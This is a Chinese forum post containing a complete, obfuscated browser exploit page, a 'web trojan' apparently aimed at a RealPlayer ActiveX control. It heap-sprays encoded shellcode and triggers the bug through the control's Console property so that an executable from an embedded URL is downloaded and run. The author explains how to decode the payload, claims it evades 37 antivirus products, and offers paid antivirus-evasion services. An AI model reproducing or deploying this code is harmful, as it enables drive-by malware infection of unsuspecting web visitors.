文章作者：x14o5
信息来源：安全叶子技术小组[J.Leaves Security Team]（
http://00day.cn）
<html><body>
<object classid="clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93" id="Silent"></object>
<script>
var zx50="zx57468zx57074zx52f3azx5782fzx56664zx52e78zx56473zx56766zx56473zx57366zx52e64zx56e63zx5742fzx57365zx52e74zx57865zx50065";
var zx51="zx59090zx56090zx517ebzx5645ezx530a1zx50000zx50500zx50800zx50000zx5f88bzx500b9";
var zx52="zx50004zx5f300zx5ffa4zx5e8e0zx5ffe4zx5ffffzx5a164zx50030zx50000zx5408bzx58b0c";
var zx53="zx51c70zx58badzx50870zx5ec81zx50200zx50000zx5ec8bzx5e8bbzx5020fzx58b00zx58503";
var zx54="zx50fc0zx5bb85zx50000zx5ff00zx5e903zx50221zx50000zx5895bzx5205dzx56856zx5fe98";
var zx55="zx50e8azx5b1e8zx50000zx58900zx50c45zx56856zx54e8ezx5ec0ezx5a3e8zx50000zx58900";
var zx56="zx50445zx56856zx579c1zx5b8e5zx595e8zx50000zx58900zx51c45zx56856zx5c61bzx57946";
var zx57="zx587e8zx50000zx58900zx51045zx56856zx5fcaazx57c0dzx579e8zx50000zx58900zx50845";
var zx58="zx56856zx584e7zx5b469zx56be8zx50000zx58900zx51445zx5e0bbzx5020fzx58900zx53303";
var zx59="zx5c7f6zx52845zx55255zx54d4czx545c7zx54f2czx5004ezx58d00zx5285dzx5ff53zx50455";
</script>
<script>
var zx510="zx56850zx51a36zx5702fzx53fe8zx50000zx58900zx52445zx57f6azx55d8dzx55328zx555ff";
var zx511="zx5c71czx50544zx55c28zx5652ezx5c778zx50544zx5652czx50000zx55600zx58d56zx5287d";
var zx512="zx5ff57zx52075zx5ff56zx52455zx55756zx555ffzx5e80czx50062zx50000zx5c481zx50200";
var zx513="zx50000zx53361zx5c2c0zx50004zx58b55zx551eczx58b53zx5087dzx55d8bzx5560czx5738b";
var zx514="zx58b3czx51e74zx50378zx556f3zx5768bzx50320zx533f3zx549c9zx5ad41zx5c303zx53356";
var zx515="zx50ff6zx510bezx5f23azx50874zx5cec1zx5030dzx540f2zx5f1ebzx5fe3bzx5755ezx55ae5";
var zx516="zx5eb8bzx55a8bzx50324zx566ddzx50c8bzx58b4bzx51c5azx5dd03zx5048bzx5038bzx55ec5";
var zx517="zx5595bzx5c25dzx50008zx592e9zx50000zx55e00zx580bfzx5020czx5b900zx50100zx50000";
var zx518="zx5a4f3zx5ec81zx50100zx50000zx5fc8bzx5c783zx5c710zx56e07zx56474zx5c76czx50447";
var zx519="zx5006czx50000zx5ff57zx50455zx54589zx5c724zx55207zx56c74zx5c741zx50447zx56c6c";
var zx520="zx5636fzx547c7zx56108zx56574zx5c748zx50c47zx56165zx50070zx55057zx555ffzx58b08";
var zx521="zx5b8f0zx50fe4zx50002zx53089zx507c7zx5736dzx56376zx547c7zx57204zx50074zx55700";
var zx522="zx555ffzx58b04zx53c48zx58c8bzx58008zx50000zx53900zx50834zx50474zx5f9e2zx512eb";
var zx523="zx5348dzx55508zx5406azx5046azx5ff56zx51055zx506c7zx50c80zx50002zx5c481zx50100";
var zx524="zx50000zx5e8c3zx5ff69zx5ffffzx5048bzx55324zx55251zx55756zx5ecb9zx5020fzx58b00";
var zx525="zx58519zx575dbzx53350zx533c9zx583dbzx506e8zx5b70fzx58118zx5fffbzx50015zx57500";
var zx526="zx5833ezx506e8zx5b70fzx58118zx5fffbzx50035zx57500zx58330zx502e8zx5b70fzx58318";
var zx527="zx56afbzx52575zx5c083zx58b04zx5b830zx50fe0zx50002zx50068zx50000zx56801zx51000";
var zx528="zx50000zx5006azx510ffzx50689zx54489zx51824zx5ecb9zx5020fzx5ff00zx55f01zx55a5e";
var zx529=zx51+zx52+zx53+zx54+zx55+zx56+zx57+zx58+zx59+zx510+zx511+zx512+zx513;
var zx530=zx514+zx515+zx516+zx517+zx518+zx519+zx520+zx521+zx522+zx523+zx524;
var zx531="zx590"+"90zx5"+"90"+"90"+zx529+zx530+zx525+zx526+zx527+zx528+"zx55b59zx5e4b8zx5020fzx5ff00zx5e820zx5fddazx5ffff";
var zx532=zx531+zx50;
</script>
<script>
var zx5yezuiai = unescape(zx532.replace(/zx5/g,"\x25\x75"));
var z = "%u0";
var y = "C0C%u0C";
var t = "0C";
var xiaoyu = 0x40000;
///////////////////////////////////////////////////
var bigblock = unescape(z+y+t);
var headersize = 20;
var shell=slackspace;
var slackspace = headersize + zx5yezuiai.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < xiaoyu) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 400; i++){ memory
= block + zx5yezuiai }
var buf = '';
while (buf.length < 32) buf = buf + unescape("%0"+"C");
var m = '';
m = Silent.Console;
Silent.Console = buf;
Silent.Console = m;
m = Silent.Console;
Silent.Console = buf;
Silent.Console = m;
</script>
</body></html>
---------------------------------------
把ZX5改成&u解密即可！
var zx50="zx57468zx57074zx52f3azx5782fzx56664zx52e78zx56473zx56766zx56473zx57366zx52e64zx56e63zx5742fzx57365zx52e74zx57865zx50065";这个是EXE地址。。。
real11网马。。。代码过全37杀毒软件。。。但是偶已经提交杀毒网了。。。！需要免杀的找我做吧。。。限量供应！
小明拿DRT的核心跟我换方法 我木告诉他 哦耶。。。！
